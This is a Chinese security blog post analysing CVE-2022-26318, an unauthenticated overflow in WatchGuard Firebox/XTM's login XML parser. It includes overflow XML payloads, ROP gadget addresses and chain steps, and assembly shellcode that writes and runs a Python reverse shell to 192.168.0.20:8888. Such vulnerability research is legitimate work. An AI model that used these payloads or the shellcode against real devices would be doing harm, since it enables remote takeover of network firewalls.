★且听安全★-点关注,不迷路!
★漏洞空间站★-优质漏洞资源和小伙伴聚集地!
本文来自漏洞空间站入圈的小帅哥 D4ck(团队昵称 WCyber)!也欢迎各位大佬加入我们一起混圈!
WatchGuard Firebox 和 XTM 系列是全七层应用级防火墙,是 WatchGuard 公司的主要安全产品:
前段时间爆出 WatchGuard Firebox 和 XTM 应用存在不需要用户认证的任意命令执行漏洞,编号为 FBX-22786(CVE-2022-26318):
CVE-2022-26318 漏洞适用范围:
-
12.7.2_U2 之前
-
12.x 到 12.1.3_U8之前
-
12.2.x 到 12.5.x的12.5.9_U2 版本之前
搭建 WatchGuard 研究环境以及调试环境。从官网下载 ova 文件:
将下载好的 `*.ova` 虚拟机执行起来后,进入后执行 bash 命令将会报错,这是因为当前应用程序并不是 `/bin/bash` 或者是 `/bin/sh` ,因此需要进行一些操作获取 WatchGuard 的底层 root 权限:
可以通过 `mount` 挂载的方式进行修改:
修改完 root 账号的认证信息后,因为文件系统不包含 bash 或者 sh ,可以上传一个 busybox 。修改完毕后重启 WatchGuard 虚拟机。使用 SSH 链接可以进入 bash :
为了方便调试,上传 `gdbserver` 至虚拟机,使用 iptables 开放特定的端口访问权限。
获取完整环境搭建教程请加入我们的漏洞空间站-致力于打造优质漏洞资源和小伙伴聚集地!
从公开信息看,漏洞出现在登录认证处理过程中。WatchGuard 前端为 Nginx,后端为二进制程序,使用 Unix domain socket 通过 fastcgi 代理转发协议进行前后端数据交互。可以在 Nginx 中看到配置了 wgagent 的代理转发功能:
为了找到 `/usr/share/web/upload/tmp/wgagent` 的使用进程,可以使用 `lsof` 工具列出文件当前被哪些进程占用,最终定位 `/usr/bin/wgagent` 。
Nginx 配置文件如下:
/etc/nginx # cat /etc/nginx/nginx.conf
include /etc/nginx/global;
http {
include /etc/nginx/http-common;
# rpc calls exposed by wgagent
include /etc/nginx/http-server-wgagent;
# outbound firewall logon and WBO(WebBlocker override)
include /etc/nginx/http-server-auth;
# http/https redir to logon, for both hotspot and outbound firewall
include /etc/nginx/http-server-redirect;
# hotspot logon
include /etc/nginx/http-server-hotspot;
# over quota error
include /etc/nginx/http-server-quota;
# proxy autoconfig
include /etc/nginx/http-server-pac;
# proxy cert download
include /etc/nginx/http-server-cert;
# endpoint protection
include /etc/nginx/http-server-epm;
# webui, and subset of wgagent needed by webui and local processes
include /etc/nginx/http-server-webui;
# portald
include /var/run/nginx/http-server-portald;
# geolocation deny page
include /etc/nginx/http-server-geolocation;
}
可以确定两种触发路由,但最终实现的效果相同,都是与 `/usr/share/web/upload/tmp/wgagent` 文件进行数据交互到达 `/usr/bin/wgagent` 程序中。不同配置文件对应了不同的服务,每个服务对应的端口也不同,此次漏洞对应的路由配置如下:
-
80 端口配置
server {
listen 127.0.0.1:80;
location /agent/ {
root /usr/share/web/webui;
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
include fastcgi_params;
# wgagent is FCGI-native, needs DOCUMENT_ROOT, SCRIPT_NAME.
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
# /agent/file_action can take a while, e.g. backup
fastcgi_read_timeout 10m;
}
}
-
4117 端口配置
server {
listen 4117 ssl;
listen [::]:4117 ssl;
location /login { # no trailing slash
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /agent/ {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
# /agent/file_action can take a while, e.g. backup
fastcgi_read_timeout 10m;
}
}
4117 端口开放在全网卡上可对外访问,因此漏洞路由为 `https://ip:4117/login` 或者是 `https://ip:4117/agent/login`。
访问 8080 端口,在不登录的情况下会自动跳转至登录界面 `/auth/login?from_page=/`:
抓取登录包:
POST /agent/login HTTP/1.1
Host: ip
Cookie: session_id=32d538e203a5ae6657061c00ee6853696127783b
Content-Length: 404
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>1</string></value></member><member><name>user</name><value><string>1</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>
可以看出 WatchGuard 在登录认证部分使用 XML 数据进行交互,这就意味着在 WatchGuard 服务中肯定存在 XML 数据解析代码,可先通过补丁对比,大概定位到漏洞点。
使用 BinDiff 进行补丁对比发现在 `sub_00406BDB` 函数中删除了 `strcat` 危险函数,猜测漏洞出在这里:
在 wgagent 中存在路由匹配规则,程序收到的 `/login` 以及 `/agent/login` 数据将会进入 `sub_40B737` 函数处理:
在 `sub_40B737` 函数的开始部分会解析来自 POST 包中的 XML 数据,处理逻辑如下:
漏洞就在 `xml_parse(0x40869D)` 函数,主要是因为 WatchGuard 自己写的 XML 回调函数中对 bss 段上的数据进行赋值,并产生缓冲区溢出,使得超长部分数据溢出到堆上。经过分析代码找到了存储在 bss 段上的变量,如下图所示:
知道了缓冲区的位置,需要在 wgagent 程序中定位真正的漏洞点,搜索使用了 `s` 变量的位置如下:
发现一个很明显的缓冲区溢出漏洞的位置:
继续分析上下文代码,寻找如何控制 `a2` 变量:
`a2` 看起来是 xml 文档中的标签值,应该是函数解析的 xml 文档标签。可以通过漏洞调试验证该想法。
首先启动 gdbserver ,使用 `gdb` 进行远程调试。使用 BurpSuit 发送任意 xml 数据,发现解析失败:
必须是 XML-RPC 格式数据,类似:
<methodCall>
<methodName>circleArea</methodName>
<params>
<param>
<value><double>2.41</double></value>
</param>
</params>
</methodCall>
将上面数据包发送过去可以断在 `strcat` :
在 `GDB` 添加指令,每当断下来就会打印 `strcat` 的第一个参数。经过测试,正如想象中的一样, `strcat` 会将标签拼接在一起放在 bss 段上,如下所示:
1: x/s $rdi 0x427360: "/methodCall/"
1: x/s $rdi 0x427360: "/methodCall/params/"
1: x/s $rdi 0x427360: "/methodCall/params/param/"
1: x/s $rdi 0x427360: "/methodCall/params/param/value/"
尝试构造 payload 控制 `s` 变量,首先想的是利用超长字段替换 `value` :
<methodCall>
<methodName>circleArea</methodName>
<params>
<param>
<value><double>2.41</double></value>
<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa><double>2.41</double></aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>
</param>
</params>
</methodCall>
基本可以定位到这是缓冲区溢出的位置,并且用户无需认证即可控制。
-
堆溢出
定位溢出点之后,下面就需要使用常用的内存型漏洞利用技术。首先使用 `gdb` 查看程序的内存空间,判断该漏洞场景使用于什么样的漏洞利用方式:
`0x427360` 之后就是 heap,因此如果超长溢出到堆上,也许会有比较好用的利用方法。
-
溢出 XML SAX Handler 结构体
SAX 是 Simple API for XML 的缩写,它是一种基于流的解析方式,边读取 XML 边解析,并以事件回调的方式让调用者获取数据。因为是一边读一边解析,所以无论 XML 有多大,占用的内存都很小。
根据 SAX 功能描述,大概能猜测出 API 的调用流程。通过 `GDB` 调试得知每次解析一个标签的时候就会触发注册的回调函数 `0x4067ef` 。如果能够覆盖回调函数为任意地址,就可以实现劫持程序执行流了。
在内存中搜索 `0x4067ef` 在哪些地方,直接使用 `gdb-peda` 进行寻找:
找到了两处地址,分别在堆上和栈上,因为溢出位置的特殊性,这里只考虑在堆上的地址 `0x429e68` 。要溢出到这个地址需要大概 `11016` 字节,并且只控制 RIP 是不够的,需要使用 ROP 计算出栈地址,再执行 shellcode 。
如果要开始 ROP 那么必须栈上的数据是可控的,除非我们先控制了堆然后使用一些堆栈反转技术,在堆上进行 ROP 。搜索栈空间查看是否有可控的数据:
-
寻找 ROP Chains
自动化寻找可以利用的 gadget :
通过分析下面的大部分抬栈指令都是可以用的:
因为地址要当做标签传入 xml ,所以我们最终可以选择如下地址:
0x0000000000414e58 : ret 0x62e8
0x000000000041464d : ret 0x90be
......
`414e58` 为 `XNA`, `41464d` 为 `MFA` 。
-
ROP 链编写
知道了漏洞点,了解了如何发送可控数据,获取了 wgagent 的 ROP gadget ,剩下就是如何编写可以利用的 ROP 利用链了。ROP 链可以解决很多问题,比如可以解决栈不可执行,解决堆栈地址随机化问题等。使用 `gdb` 查看栈地址空间是有执行权限的:
此次编写的 ROP 利用链就是要计算出当前堆栈的地址,并进行 jmp 跳转执行上面的 shellcode 。具体分析如下:
(1)抬栈找到 ROP 链
通过 `ret 0x62e8`,操作将 esp 增加 `25328` 个字节,我们只需将 ROP 链放在这个位置即可,为了准确在这个位置,我们需要控制 `<BBBBXNA>` 的重复次数。经过简单的计算,重复 `2376` 次加上两个字节,在经过 `libxml` 剩下代码的操作就可以顺利到达可控的 ROP 区域。
(2)正常执行 libxml 中的代码
执行完 `ret 0x62e8` 操作后,会继续执行 libxml2.so 中的代码:
执行的代码如下,该部分代码同样也会对栈空间进行操作, `add rsp` 和 `pop`,`ret` 指令都会使得栈地址增加,因此在前一步计算偏移时就要考虑到这一部分的偏移:
0x7fe88d3234a4: add rsp,0x20
0x7fe88d3234a8: mov ecx,DWORD PTR [rsp+0x3c]
0x7fe88d3234ac: test ecx,ecx
0x7fe88d3234ae: jne 0x7fe88d3236bb
0x7fe88d3234b4: mov rax,QWORD PTR [rsp+0x10]
0x7fe88d3234b9: add rsp,0x88
0x7fe88d3234c0: pop rbx
0x7fe88d3234c1: pop rbp
0x7fe88d3234c2: pop r12
0x7fe88d3234c4: pop r13
0x7fe88d3234c6: pop r14
0x7fe88d3234c8: pop r15
0x7fe88d3234ca: ret
(3)构造 ROP 链
此次 ROP 核心功能就是寻找 shellcode 的栈地址,并进行跳转。shellcode 在发送的 ROP 数据的下面,因此只需要知道当前 rsp 的值,在加上计算好的偏移就可以知道 shellcode 的准确位置。经过分析对 rsp 的操作只有 `mov rbp,rsp` 指令可以将 rsp 的获取到,但是该指令下面衔接的是 `call rax` 指令,为了能让 call 指令正常 rop,需要在让 rax 指向一个 `pop;ret` 指令:
0x405e7d: mov rbp,rsp
0x405e80: call rax
0x41d5b2: pop r15
0x41d5b4: ret
为了使 rax 为 `0x41d5b2`,需要使用 `pop rax` 指令,搜索 ROP gadget 得到合适的链:
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
那么此时构造的 ROP 链为:
经过上述操作, rbp 已经是我们需要的值了,不过还需把 rbp 想办法给 rax 传过去:
之后搜索 `add .*rdx` :
剩下的就是控制通过 `pop rax` 控制 rax 的偏移, `pop rax` 采用如下指令完成:
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
至此 ROP 链就构造的差不多了:
ROP 链的最后一条指令 `jmp rax`, rax 指向的是 shellcode 地址,下面介绍 payload 中 shellcode 的编写技巧。
-
ShellCode 编写
涉及到了 `open` 、`write`、`close`和 `execve`。
(1)打开文件
_start:
call openfile
FILENAME db "/tmp/test.py", 0x00
openfile:
pop rdi
mov esi,0x241
mov edx,0x1b6
mov eax,0x2
syscall
(2)写文件
openfile:
pop rdi
mov esi,0x241
mov edx,0x1b6
mov eax,0x2
syscall
mov rcx,rax
call writefile
CONTENT db "import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.20',8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(['/usr/bin/python','-i']);", 0x00
writefile:
mov rdx, 0xf0
pop rsi
mov rdi,rcx
mov eax,0x1
syscall
(3)关闭文件
closefile:
mov rdi,rcx
mov eax,0x3
syscall
(4)执行 execve
在调用 `execve` 函数时需要注意 rsi 和 rdx 为指针数组,并且数组的最后一个元素必须是 `null`,需要构造成如下堆栈形态 , `address1` 是低地址:
writefile:
mov rdx, 0xf0
pop rsi
mov rdi,rcx
mov eax,0x1
syscall
push 0
call getprocname
CMD db "/tmp/test.py", 0x00
getprocname:
call closefile
PROCN db "python", 0x00
closefile:
mov rdi,rcx
mov eax,0x3
syscall
call runexec
PROG db "/usr/bin/python", 0x00
runexec:
mov eax,0x3b
mov rdi,QWORD [rsp]
lea rsi, [rsp + 8]
xor edx,edx
syscall
通过上面的分析,可以构建完整的汇编代码,因为 python 脚本的内容在整个 shellcode 的最后,所以可以在编译后将其删除,在利用脚本中向 shellcode 最后添加需要执行的 python 代码。
按照上面的思路,最终完成了完整利用代码的编写,相比于 github 上公开的利用代码来说简化了不少,特别是在 ROP 的时候去掉了很多冗余操作。
主要针对 12.7.2 版本虚拟机,从原理上对该漏洞进行了完整剖析。分析复现该漏洞还可以学习和巩固很多知识,比如溢出型漏洞的简单利用、ROP 链的分析和构造、shellcode 编写技巧等等。因为该漏洞的特性,其他版本的需要调整利用脚本中的个别参数。
有兴趣获取完整环境搭建、漏洞分析和辅助代码的小伙伴,请加入我们的漏洞空间站-致力于打造优质漏洞资源和小伙伴聚集地!
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。
★且听安全★-点关注,不迷路!
★漏洞空间站★-优质漏洞资源和小伙伴聚集地!
原文始发于微信公众号(且听安全):CVE-2022-26318 WatchGuard Firebox and XTM 命令执行漏洞深入分析